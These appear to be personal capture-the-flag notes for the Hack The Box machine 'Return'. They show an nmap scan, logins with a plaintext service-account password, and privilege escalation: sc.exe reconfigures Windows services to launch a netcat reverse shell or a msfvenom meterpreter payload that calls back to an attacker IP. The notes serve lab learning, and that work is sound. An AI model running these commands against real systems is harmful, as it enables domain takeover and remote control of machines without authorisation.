👈

Return

 
53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49676,49679,49729
# Nmap 7.94SVN scan initiated Fri Dec 29 20:53:11 2023 as: nmap -sT -sC -sV -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49676,49679,49729 -oA nmap/details 10.10.11.108 Nmap scan report for 10.10.11.108 (10.10.11.108) Host is up (0.10s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: HTB Printer Admin Panel | http-methods: |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-29 13:11:56Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49674/tcp open msrpc Microsoft Windows RPC 49675/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49676/tcp open msrpc Microsoft Windows RPC 49679/tcp open msrpc Microsoft Windows RPC 49729/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows 10 1709 - 1909 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows 10 1709 - 1803 (91%), Microsoft Windows 10 1809 - 2004 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2023-12-29T13:12:56 |_ start_date: N/A |_clock-skew: 18m34s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 29 20:54:31 2023 -- 1 IP address (1 host up) scanned in 80.60 seconds
printer.return.local return.local
 
LDAP
┌──(root㉿kali)-[~/Desktop/Return] └─# ldapsearch -x -H ldap://return.local -b "dc=return,dc=local" -d 1
 
no found
 
WEB
notion image
 
evil-winrm -u svc-printer -p '1edFg43012!!' -i return.local
 
bloodhound-python --dns-tcp -ns 10.10.11.108 -u svc-printer -p '1edFg43012!!' -d return.local
notion image
try local PE
Logon hours allowed All Local Group Memberships *Print Operators *Remote Management Use *Server Operators Global Group memberships *Domain Users
 
upload ../Tool/nc64.exe
 
sc.exe config vss binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.16.5 1234" sc.exe stop vss sc.exe start vss sc.exe config VGAuthService binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd.exe 10.10.16.5 1234" sc.exe stop VGAuthService sc.exe start VGAuthService
notion image
vss 通常是指“卷影复制服务”(Volume Shadow Copy Service),这是Windows的一个系统服务。
nc -lvnp 1234
 
not work
notion image
 
try msf
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.5 LPORT=1337 -f exe > shell.exe
use exploit/multi/handler ... run
notion image
 
sc.exe config VGAuthService binPath="C:\Users\svc-printer\Desktop\shellx86.exe" sc.exe stop VGAuthService sc.exe start VGAuthService
notion image
shell
notion image
notion image